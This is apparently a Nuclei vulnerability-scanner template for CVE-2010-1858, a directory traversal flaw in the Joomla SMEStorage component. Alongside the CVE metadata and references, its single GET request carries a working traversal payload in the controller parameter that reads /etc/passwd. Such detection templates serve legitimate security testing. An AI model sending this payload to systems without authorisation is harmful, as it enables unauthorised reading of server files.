id: CVE-2010-1858

info:
  name: Joomla! Component SMEStorage - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to unauthorized access and potential data leakage.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11853
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1858
    - http://packetstormsecurity.org/1003-exploits/joomlasmestorage-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57108
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1858
    cwe-id: CWE-22
    epss-score: 0.03488
    epss-percentile: 0.8775
    cpe: cpe:2.3:a:gelembjuk:com_smestorage:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gelembjuk
    product: com_smestorage
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,gelembjuk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206238b98a89f5fd56ce39e52e17c799e1ff92c2cf21fc81dd24642e9bf38f3fd5022100f13c199ada4302854400e062fa46d5e1fdf685672a2f189a472d8908b1e7196c:922c64590222798bb761d5b6d8e72950